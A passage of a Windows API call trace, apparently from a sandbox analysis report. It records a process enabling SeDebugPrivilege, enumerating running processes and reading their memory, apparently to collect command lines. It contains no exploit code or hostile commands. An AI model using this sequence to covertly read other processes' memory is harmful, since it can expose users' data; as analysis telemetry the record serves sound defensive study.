_Buffer="4972") returned 4 [0262.136] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0262.136] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0262.173] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x136c) returned 0x464 [0262.174] GetLastError () returned 0x0 [0262.174] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0262.174] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x49d0568018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0262.174] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0262.174] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1bd3c7c1d60, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0262.175] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1bd3c7c1948, lpBuffer=0x670f7c2b0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0262.176] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0262.178] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0262.178] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x49d0568020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0262.178] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1bd3c7c1330, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0262.178] malloc (_Size=0xf0) returned 0x196ef0d4e70 [0262.178] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1bd3c7c1988, lpBuffer=0x196ef0d4e70, nSize=0xee, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4e70*, lpNumberOfBytesRead=0x0) returned 1 [0262.179] free (_Block=0x196ef0d4e70) [0262.180] CloseHandle (hObject=0x464) returned 1 [0262.180] _ui64tow_s (in: _Value=0xd24, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3364") returned 0x0 [0262.186] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3364") returned 4 [0262.187] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0262.187] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0262.214] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xd24) returned 0x464 [0262.214] GetLastError () returned 0x0 [0262.214] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0262.215] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xa54998018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0262.215] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0262.215] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1fea1081d60, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0262.215] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1fea1081948, lpBuffer=0x670f7c2b0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0262.216] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0262.217] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0262.217] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xa54998020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0262.217] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1fea1081330, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0262.218] malloc (_Size=0xf0) returned 0x196ef0d4e70 [0262.218] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1fea1081988, lpBuffer=0x196ef0d4e70, nSize=0xee, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4e70*, lpNumberOfBytesRead=0x0) returned 1 [0262.218] free (_Block=0x196ef0d4e70) [0262.219] CloseHandle (hObject=0x464) returned 1 [0262.220] free (_Block=0x196ef0d7d70) [0262.220] malloc (_Size=0x48) returned 0x196ef0fb400 [0262.221] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x670f7d400 | out: lpSystemTimeAsFileTime=0x670f7d400*(dwLowDateTime=0x7d26f0dd, dwHighDateTime=0x1d9eb0c)) [0262.221] SetEvent (hEvent=0x248) returned 1 [0262.265] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x4) returned 0x196ef225eb0 [0262.265] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ef225eb0, pulNumLanguages=0x670f7de50 | out: pulNumLanguages=0x670f7de50) returned 1 [0262.265] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef225eb0) returned 1 [0262.265] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef225c80) returned 1 [0263.380] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0265.601] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0267.790] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0268.195] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0268.231] RtlRestoreLastWin32Error () returned 0x670db7000 [0268.241] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x670f7dda8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x670f7dca0 | out: pulNumLanguages=0x670f7dda8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x670f7dca0) returned 1 [0268.241] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ef225dc0 [0268.241] RtlRestoreLastWin32Error () returned 0x670db7000 [0268.242] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x670f7dda8, pwszLanguagesBuffer=0x196ef225dc0, pcchLanguagesBuffer=0x670f7dca0 | out: pulNumLanguages=0x670f7dda8, pwszLanguagesBuffer=0x196ef225dc0, pcchLanguagesBuffer=0x670f7dca0) returned 1 [0268.242] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ef225c90 [0268.242] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef225dc0) returned 1 [0268.242] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x14) returned 0x196ee85e3f0 [0268.242] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee85e3f0, pulNumLanguages=0x670f7dda8 | out: pulNumLanguages=0x670f7dda8) returned 1 [0268.243] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee85e3f0) returned 1 [0268.254] malloc (_Size=0xb0) returned 0x196ef0f87e0 [0268.254] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa7be80000 [0268.255] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="RtlInitUnicodeString") returned 0x7ffa7be9ced0 [0268.255] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="RtlFreeUnicodeString") returned 0x7ffa7be9c680 [0268.256] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtSetSystemEnvironmentValue") returned 0x7ffa7bf27f10 [0268.256] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtQuerySystemEnvironmentValue") returned 0x7ffa7bf27630 [0268.256] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtCreateFile") returned 0x7ffa7bf257e0 [0268.256] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtQuerySystemInformation") returned 0x7ffa7bf25400 [0268.256] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtQueryDirectoryObject") returned 0x7ffa7bf272f0 [0268.257] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtQueryObject") returned 0x7ffa7bf24f40 [0268.257] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtOpenDirectoryObject") returned 0x7ffa7bf25840 [0268.257] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtQueryInformationProcess") returned 0x7ffa7bf25060 [0268.258] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtQueryInformationToken") returned 0x7ffa7bf25160 [0268.258] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtOpenFile") returned 0x7ffa7bf253a0 [0268.258] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtClose") returned 0x7ffa7bf24f20 [0268.258] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtFsControlFile") returned 0x7ffa7bf25460 [0268.258] GetProcAddress (hModule=0x7ffa7be80000, lpProcName="NtQueryVolumeInformationFile") returned 0x7ffa7bf25660 [0268.260] malloc (_Size=0x18) returned 0x196ef0d1de0 [0268.260] GetCurrentThread () returned 0xfffffffffffffffe [0268.260] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x28, OpenAsSelf=1, TokenHandle=0x670f7d390 | out: TokenHandle=0x670f7d390*=0x464) returned 1 [0268.260] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x670f7d3cc | out: lpLuid=0x670f7d3cc*(LowPart=0x14, HighPart=0)) returned 1 [0268.263] RtlRestoreLastWin32Error () returned 0x670db7000 [0268.263] AdjustTokenPrivileges (in: TokenHandle=0x464, DisableAllPrivileges=0, NewState=0x670f7d3c8*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0268.264] GetLastError () returned 0x0 [0268.264] CloseHandle (hObject=0x464) returned 1 [0268.264] malloc (_Size=0x8000) returned 0x196ef0d7d70 [0268.264] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x196ef0d7d70, Length=0x8000, ResultLength=0x0 | out: SystemInformation=0x196ef0d7d70, ResultLength=0x0) returned 0xc0000004 [0268.266] free (_Block=0x196ef0d7d70) [0268.268] malloc (_Size=0x10000) returned 0x196ef0d7d70 [0268.269] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x196ef0d7d70, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x196ef0d7d70, ResultLength=0x0) returned 0xc0000004 [0268.271] free (_Block=0x196ef0d7d70) [0268.272] malloc (_Size=0x18000) returned 0x196ef0d7d70 [0268.273] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x196ef0d7d70, Length=0x18000, ResultLength=0x0 | out: SystemInformation=0x196ef0d7d70, ResultLength=0x0) returned 0xc0000004 [0268.275] free (_Block=0x196ef0d7d70) [0268.276] malloc (_Size=0x20000) returned 0x196ef0d7d70 [0268.276] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x196ef0d7d70, Length=0x20000, ResultLength=0x0 | out: SystemInformation=0x196ef0d7d70, ResultLength=0x0) returned 0x0 [0268.281] _ui64tow_s (in: _Value=0x0, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="0") returned 0x0 [0268.287] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="0") returned 1 [0268.290] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x7bea2958, dwBuildNumber=0x7ffa, dwPlatformId=0x6, szCSDVersion="\n") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0268.290] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0268.307] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0268.307] CloseHandle (hObject=0x0) returned 0 [0268.308] _ui64tow_s (in: _Value=0x4, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4") returned 0x0 [0268.314] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4") returned 1 [0268.316] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0268.316] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0268.347] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0268.347] CloseHandle (hObject=0x0) returned 0 [0268.348] _ui64tow_s (in: _Value=0x134, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="308") returned 0x0 [0268.356] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="308") returned 3 [0268.357] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0268.357] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0268.399] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x134) returned 0x0 [0268.399] CloseHandle (hObject=0x0) returned 0 [0268.400] _ui64tow_s (in: _Value=0x180, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="384") returned 0x0 [0268.407] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="384") returned 3 [0268.409] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0268.409] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0268.453] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x180) returned 0x0 [0268.453] CloseHandle (hObject=0x0) returned 0 [0268.454] _ui64tow_s (in: _Value=0x1bc, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="444") returned 0x0 [0268.458] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="444") returned 3 [0268.461] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0268.461] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0268.538] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1bc) returned 0x0 [0268.538] CloseHandle (hObject=0x0) returned 0 [0268.539] _ui64tow_s (in: _Value=0x1c4, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="452") returned 0x0 [0268.545] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="452") returned 3 [0268.547] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0268.547] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0268.590] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1c4) returned 0x0 [0268.590] CloseHandle (hObject=0x0) returned 0 [0268.591] _ui64tow_s (in: _Value=0x1f8, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="504") returned 0x0 [0268.595] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="504") returned 3 [0268.596] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0268.596] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0268.632] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1f8) returned 0x464 [0268.632] GetLastError () returned 0x0 [0268.632] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0268.632] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xff2cd3018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0268.633] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0268.633] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x12f29b416a0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0268.633] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x12f29b413b0, lpBuffer=0x670f7c2b0, nSize=0x42, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0268.634] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0268.636] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0268.636] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xff2cd3020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0268.636] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x12f29b40d90, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0268.636] malloc (_Size=0x1c) returned 0x196ef0fa180 [0268.637] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x12f29b413f2, lpBuffer=0x196ef0fa180, nSize=0x1a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fa180*, lpNumberOfBytesRead=0x0) returned 1 [0268.637] free (_Block=0x196ef0fa180) [0268.638] CloseHandle (hObject=0x464) returned 1 [0268.638] _ui64tow_s (in: _Value=0x210, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="528") returned 0x0 [0268.644] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="528") returned 3 [0268.645] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0268.646] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0268.666] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x210) returned 0x0 [0268.666] CloseHandle (hObject=0x0) returned 0 [0268.667] _ui64tow_s (in: _Value=0x218, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="536") returned 0x0 [0268.674] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="536") returned 3 [0268.675] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0268.675] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0268.704] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x218) returned 0x464 [0268.704] GetLastError () returned 0x0 [0268.705] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0268.705] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x70fe507018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0268.705] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0268.705] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2210d6032b0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0268.705] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2210d602f08, lpBuffer=0x670f7c2b0, nSize=0x3c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0268.707] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0268.709] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0268.710] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x70fe507020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0268.710] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2210d6028f0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0268.710] malloc (_Size=0x3e) returned 0x196ef0fbf90 [0268.710] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2210d602f44, lpBuffer=0x196ef0fbf90, nSize=0x3c, lpNumberOfBytesRead=0x0 | out: 